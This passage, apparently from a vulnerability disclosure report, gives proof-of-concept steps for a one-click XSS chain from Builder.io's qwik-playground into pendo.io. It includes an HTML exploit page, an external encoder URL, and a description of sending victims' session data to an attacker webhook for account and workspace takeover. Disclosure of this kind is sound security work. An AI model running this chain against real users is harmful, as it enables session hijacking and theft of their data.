+
|
|
167
|
+
Replace `YOUR_TOKEN_HERE` with the token from 4b.
|
|
168
|
+
|
|
169
|
+
**Step 5:** Wait ~2 minutes for jsDelivr to index it. Verify at `https://cdn.jsdelivr.net/npm/your-unique-package-name@1.0.0` — you should see your code.
|
|
170
|
+
|
|
171
|
+
**Step 6:** Generate the exploit URL. Go to https://poc1.xyz/pendo-encoder.html, type your package name, click "Generate PoC URL", and copy the result.
|
|
172
|
+
|
|
173
|
+
**Step 7:** Create `a.html` with the URL from Step 6:
|
|
174
|
+
|
|
175
|
+
```html
|
|
176
|
+
<!DOCTYPE html>
|
|
177
|
+
<html>
|
|
178
|
+
<head><title>PoC</title></head>
|
|
179
|
+
<body>
|
|
180
|
+
<h2>Builder.io + Pendo PoC</h2>
|
|
181
|
+
<button id="btn" style="padding:15px 30px;font-size:18px;cursor:pointer;">View Document</button>
|
|
182
|
+
<script>
|
|
183
|
+
document.getElementById('btn').addEventListener('click', function() {
|
|
184
|
+
window.open('https://www.pendo.io', 'pendowin');
|
|
185
|
+
setTimeout(function() {
|
|
186
|
+
window.location = 'YOUR-POC-URL-FROM-STEP-6';
|
|
187
|
+
}, 3000);
|
|
188
|
+
});
|
|
189
|
+
</script>
|
|
190
|
+
</body>
|
|
191
|
+
</html>
|
|
192
|
+
```
|
|
193
|
+
|
|
194
|
+
**Step 8:** Open `a.html`, log into Pendo in the same browser, click the button, and check your webhook from Step 1.
|
|
195
|
+
|
|
196
|
+
## Impact
|
|
197
|
+
|
|
198
|
+
The attacker gets full JavaScript execution on `www.pendo.io` in the context of any authenticated Pendo user. Pendo is a product analytics and digital adoption platform used by thousands of companies to track user behavior, manage in-app guides, and configure product experiences across their applications.
|
|
199
|
+
|
|
200
|
+
**Account Takeover via novus-api.pendo.io** — The attacker calls `novus-api.pendo.io/pendo/app` with the victim's session cookies. This endpoint returns the full application configuration including **user identity** (email, name, role, internal user ID), **workspace metadata**, **account configuration**, and **authentication token details**. I confirmed this by exfiltrating the response to a webhook — the data included usernames, emails, role assignments, and workspace identifiers. From this position, the attacker can access any `novus-api.pendo.io` endpoint the victim has access to.
|
|
201
|
+
|
|
202
|
+
**Data Exfiltration** — With JS execution on `www.pendo.io`, the attacker can read any data accessible to the victim: analytics dashboards, user behavior data, guide configurations, feature flag settings, and any sensitive product data visible through the Pendo interface.
|
|
203
|
+
|
|
204
|
+
**Session Hijacking** — The attacker can exfiltrate session tokens and authentication cookies from the first-party pendo.io window, maintaining persistent access to the victim's account without needing to re-exploit.
|
|
205
|
+
|
|
206
|
+
**Workspace Takeover** — Because `novus-api.pendo.io` has no additional CORS restrictions against `www.pendo.io`, the attacker can make authenticated API calls to modify workspace settings, invite attacker-controlled accounts, change user roles, or alter product analytics data affecting the victim's entire organization.
|
|
207
|
+
|
|
208
|
+
This works against any authenticated Pendo user regardless of their role. One click, full account and workspace takeover.
|
|
209
|
+
|
|
210
|
+
### CVSS Clarification
|
|
211
|
+
|
|
212
|
+
- **Confidentiality: High** — The attacker can access all user data, workspace data, account metadata, analytics data, and any information available through `novus-api.pendo.io` using the victim's session.
|
|
213
|
+
- **Integrity: High** — The attacker can modify all user data, workspace settings, guide configurations, and analytics data through authenticated API calls to `novus-api.pendo.io`.
|
|
214
|
+
- **User Interaction: None** — The entire exploit chain can run from iframes without the victim clicking anything. The button in the PoC is only there to bypass Chrome's third-party cookie partitioning for the data exfiltration step. The XSS chain itself (qwik-playground → pendo.io iframe → postMessage → `Function()` execution) fires automatically when the victim visits any attacker-controlled page. An attacker can embed the qwik-playground XSS URL in a hidden iframe on any website the victim visits — the DOM XSS on `qwik-playground.builder.io` triggers on page load with no interaction, the pendo.io iframe is created programmatically, and the postMessage payload is sent automatically. The victim sees nothing and clicks nothing.
|